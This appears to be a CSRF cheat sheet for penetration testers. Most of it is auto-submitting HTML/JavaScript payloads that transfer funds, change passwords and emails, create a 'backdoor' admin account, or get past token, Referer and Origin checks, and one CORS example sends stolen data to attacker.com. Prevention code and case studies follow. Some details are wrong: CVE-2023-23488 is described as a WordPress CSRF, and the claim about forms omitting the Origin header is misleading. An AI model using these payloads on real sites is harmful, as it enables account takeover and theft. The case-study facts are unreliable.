Introduction
Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions they did not intend to perform. It exploits the trust a web application has in a user’s browser, forcing an authenticated user to send a state-changing request to a web application without their knowledge or consent.
How CSRF Works
- User Authentication: Victim logs into a vulnerable website (e.g., bank.com)
- Session Creation: The website sets authentication cookies in the victim’s browser
- Malicious Trap: Victim visits an attacker-controlled site or opens a malicious email
- Forced Request: The attacker’s page makes the victim’s browser send a request to the vulnerable website
- Request Processing: The website processes the request with the victim’s authentication cookies
- Unauthorized Action: The action is executed on behalf of the victim without their consent
Basic CSRF Exploitation Examples
GET-based CSRF Attack
1
2
3
4
5
6
7
| <!-- Example: Transfer money via GET request -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">
<!-- Auto-submitting via JavaScript -->
<script>
window.location = "https://bank.com/transfer?to=attacker&amount=1000";
</script>
|
POST-based CSRF Attack
1
2
3
4
5
6
| <!-- Example: Auto-submitting form to change email -->
<body onload="document.csrf_form.submit()">
<form action="https://target.com/change_email" method="POST" name="csrf_form">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
</body>
|
JSON-based CSRF Attack
1
2
3
4
5
6
7
8
9
10
11
12
13
| <script>
fetch('https://api.target.com/update_profile', {
method: 'POST',
credentials: 'include', // Include cookies
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"name": "Hacked User",
"email": "attacker@evil.com"
})
});
</script>
|
Advanced CSRF Techniques
CSRF via XMLHttpRequest
1
2
3
4
5
6
7
| <script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/account/password", true);
xhr.withCredentials = true; // Include cookies
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("new_password=hacked&confirm_password=hacked");
</script>
|
Multi-Step CSRF Attacks
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| <script>
// Step 1: Get CSRF token
fetch('https://target.com/profile', {
credentials: 'include'
})
.then(response => response.text())
.then(html => {
// Extract token
const tokenMatch = html.match(/csrf_token" value="([^"]+)"/);
const token = tokenMatch[1];
// Step 2: Use token in attack
const form = document.createElement('form');
form.action = 'https://target.com/change_email';
form.method = 'POST';
const tokenField = document.createElement('input');
tokenField.type = 'hidden';
tokenField.name = 'csrf_token';
tokenField.value = token;
const emailField = document.createElement('input');
emailField.type = 'hidden';
emailField.name = 'email';
emailField.value = 'attacker@evil.com';
form.appendChild(tokenField);
form.appendChild(emailField);
document.body.appendChild(form);
form.submit();
});
</script>
|
CSRF using iframes
1
2
3
4
5
6
7
8
9
| <!-- Hidden iframe to maintain/establish victim's session -->
<iframe style="display:none" name="csrf-frame"></iframe>
<!-- Form targeting the hidden iframe -->
<form action="https://target.com/change_settings" method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="setting1" value="malicious_value">
</form>
<script>document.getElementById("csrf-form").submit();</script>
|
CSRF Bypass Techniques
Bypass Same-Origin Policy Check
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <!-- If the target checks the origin header -->
<script>
// Creating a form without the Origin header
var form = document.createElement('form');
form.action = 'https://target.com/api/action';
form.method = 'POST';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'parameter';
input.value = 'malicious_value';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
</script>
|
Bypass Referer Check
1
2
3
4
5
6
7
8
| <!-- Some browsers don't send Referer headers when loading images or switching protocols -->
<meta name="referrer" content="no-referrer">
<script>
// Code to submit form
</script>
<!-- Or using rel="noreferrer" -->
<a href="https://target.com/action?param=malicious" rel="noreferrer" target="_blank">Click me</a>
|
Bypass CSRF Token Verification
1. Missing Token Validation
1
2
3
4
5
| <!-- If the application accepts requests without a token -->
<form action="https://target.com/change_settings" method="POST">
<!-- Deliberately omitting the token -->
<input type="hidden" name="setting" value="malicious_value">
</form>
|
2. Token Reuse
1
2
3
4
5
| <!-- Using a previously obtained valid token -->
<form action="https://target.com/change_settings" method="POST">
<input type="hidden" name="csrf_token" value="known_valid_token">
<input type="hidden" name="setting" value="malicious_value">
</form>
|
3. Token Leakage
1
2
3
4
5
6
7
8
9
| // If CSRF tokens are leaked in JavaScript variables or HTML
fetch('https://target.com/page_with_token')
.then(response => response.text())
.then(html => {
const tokenMatch = html.match(/var csrfToken = "([^"]+)"/);
const token = tokenMatch[1];
// Use the extracted token
});
|
Exploiting CORS Misconfigurations
1
2
3
4
5
6
7
8
9
10
| <script>
fetch('https://target.com/api_with_cors', {
credentials: 'include' // Send cookies
})
.then(response => response.json())
.then(data => {
// Extract sensitive information
fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
});
</script>
|
CSRF Against Different Request Content Types
1
2
3
4
5
| <form action="https://target.com/api" method="POST" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
</form>
<script>document.forms[0].submit();</script>
|
1
2
3
4
5
6
7
8
9
10
11
| <script>
var formData = new FormData();
formData.append('param1', 'value1');
formData.append('param2', 'value2');
fetch('https://target.com/api', {
method: 'POST',
credentials: 'include',
body: formData
});
</script>
|
JSON Content
1
2
3
4
5
6
7
8
9
10
11
12
13
| <script>
fetch('https://target.com/api', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
param1: 'value1',
param2: 'value2'
})
});
</script>
|
XML Content
1
2
3
4
5
6
7
| <script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://target.com/api', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.send('<request><param1>value1</param1><param2>value2</param2></request>');
</script>
|
CSRF Delivery Methods
Via Email
1
2
| <!-- HTML email with hidden image -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" width="1" height="1">
|
Via Websites
1
2
| <!-- Malicious website with embedded attack -->
<iframe style="display:none" src="csrf-attack.html"></iframe>
|
Link Shorteners
1
2
| Original: https://attacker.com/csrf.html
Shortened: https://bit.ly/3xYz123
|
Via XSS
1
2
3
4
5
6
7
8
| // If an XSS vulnerability exists on the target site
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/change_email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('email=attacker@evil.com');
</script>
|
Specific Attack Scenarios
Password Change
1
2
3
4
5
| <form action="https://target.com/change_password" method="POST" id="csrf-form">
<input type="hidden" name="new_password" value="hacked123">
<input type="hidden" name="confirm_password" value="hacked123">
</form>
<script>document.getElementById("csrf-form").submit();</script>
|
Account Takeover via Email Change
1
2
3
4
| <form action="https://target.com/change_email" method="POST" id="csrf-form">
<input type="hidden" name="new_email" value="attacker@evil.com">
</form>
<script>document.getElementById("csrf-form").submit();</script>
|
Fund Transfer
1
2
3
4
5
6
| <form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="recipient" value="attacker_account">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="memo" value="Gift">
</form>
<script>document.getElementById("csrf-form").submit();</script>
|
Account Creation
1
2
3
4
5
6
| <form action="https://target.com/create_admin" method="POST" id="csrf-form">
<input type="hidden" name="username" value="backdoor">
<input type="hidden" name="password" value="attackerpass123">
<input type="hidden" name="role" value="administrator">
</form>
<script>document.getElementById("csrf-form").submit();</script>
|
CSRF Protection Mechanisms & Their Bypasses
CSRF Tokens
Protection:
1
2
3
4
5
6
| <form action="/transfer" method="post">
<input type="hidden" name="csrf_token" value="random_token_tied_to_user_session">
<input type="text" name="amount">
<input type="text" name="recipient">
<input type="submit" value="Transfer">
</form>
|
Bypasses:
- Missing token validation for specific endpoints
- Predictable tokens
- Using tokens from another user session
- Token leakage in URL/JavaScript
SameSite Cookies
Protection:
1
| Set-Cookie: session=123; SameSite=Strict; Secure; HttpOnly
|
Bypasses:
- Browser inconsistencies in implementation
- Older browsers that don’t support SameSite
- Using target site’s subdomain (in some configurations)
- When
SameSite=Lax
is used:- Top-level GET requests are still allowed
- Timing attacks via navigation
Protection:
1
2
3
4
| // Server checks for custom header
if (request.headers['X-Requested-With'] !== 'XMLHttpRequest') {
// Reject request
}
|
Bypasses:
- Flash-based cross-domain requests
- In certain CORS configurations
Referer Verification
Protection:
1
2
3
4
5
| // Server-side check
if (!isset($_SERVER['HTTP_REFERER']) ||
parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) !== 'legitsite.com') {
// Reject request
}
|
Bypasses:
- Browsers that don’t send Referer headers
- Controlling Referer with meta tags
- Using HTTPS to HTTP transitions (some browsers strip Referer)
CSRF Testing Methodology
- Identify sensitive functions
- State-changing operations
- User management functions
- Financial transactions
- Examine request structure
- HTTP method (GET, POST)
- Parameters
- Content types
- Authentication mechanisms
- Check for CSRF protections
- CSRF tokens
- SameSite cookie attributes
- Referer/Origin verification
- Custom headers
- Create proof-of-concept
- Craft a CSRF HTML page
- Test in different browsers
- Look for ways to bypass protections
- Impact assessment
- Document potential impact
- Demonstrate real-world scenarios
Burp Suite Extensions
- CSRF Scanner
- CSRF Token Tracker
Browser Extensions
- Tamper Data for FF Quantum
- EditThisCookie
- OWASP ZAP (Zed Attack Proxy)
- XSRFProbe
Manual Testing Scripts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| <!-- Test for CSRF vulnerability -->
<!DOCTYPE html>
<html>
<body>
<h1>CSRF PoC</h1>
<script>
function createForm(url, method, params) {
var form = document.createElement('form');
form.action = url;
form.method = method;
form.style.display = 'none';
for (var key in params) {
if (params.hasOwnProperty(key)) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = key;
input.value = params[key];
form.appendChild(input);
}
}
document.body.appendChild(form);
form.submit();
}
// Example usage
createForm(
'https://target.com/change_settings',
'POST',
{
'setting_name': 'email',
'setting_value': 'attacker@evil.com'
}
);
</script>
</body>
</html>
|
CSRF Prevention Best Practices
For Developers
- Implement CSRF Tokens
1
2
3
4
5
6
7
8
9
10
11
12
13
| // PHP example
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// In form
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
// Validating
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
die('CSRF token validation failed');
}
|
- SameSite Cookies
1
| Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
|
- Double-Submit Cookie Pattern
1
2
3
4
5
6
7
| // Set a random token in both a cookie and as a request parameter
document.cookie = "csrfCookie=abc123";
// In form
<input type="hidden" name="csrf_token" value="abc123">
// Server validates that the cookie and the request parameter match
|
- Use POST for State-Changing Operations
1
2
3
4
5
6
7
8
9
| <!-- Instead of GET requests for operations like: -->
<a href="/delete?id=123">Delete</a>
<!-- Use POST forms -->
<form method="POST" action="/delete">
<input type="hidden" name="id" value="123">
<input type="hidden" name="csrf_token" value="...">
<button type="submit">Delete</button>
</form>
|
- Custom Request Headers
1
2
3
4
5
6
7
8
9
| // Using fetch API
fetch('/api/action', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
|
- Re-authentication for Critical Actions
1
2
3
4
5
6
7
| <!-- For critical actions, require the user to enter their password again -->
<form method="POST" action="/delete_account">
<input type="hidden" name="csrf_token" value="...">
<label>Confirm Password:</label>
<input type="password" name="password">
<button type="submit">Delete Account</button>
</form>
|
For Users/Organizations
- Log out of websites when not using them
- Use different browsers for different security contexts
- Clear cookies regularly
- Be cautious about clicking links from untrusted sources
- Keep browsers updated to benefit from latest security features
Real-World CSRF Case Studies
WordPress CSRF (CVE-2023-23488)
Affected versions of WordPress allowed CSRF in plugin installation that could lead to complete site compromise.
Facebook Account Takeover (2021)
A CSRF vulnerability allowed attackers to force users to like pages and follow accounts without their consent.
Tesla CSRF Vulnerability (2017)
Researchers discovered a CSRF vulnerability that could remotely control Tesla vehicles.
Yahoo Mail CSRF (2013)
A vulnerability allowed attackers to change victims’ email forwarding settings, enabling email hijacking.
References
- OWASP CSRF Prevention Cheat Sheet
- PortSwigger Web Security Academy: CSRF
- HackTricks: CSRF
- SANS: Cross-Site Request Forgery
- Mozilla Web Security Guidelines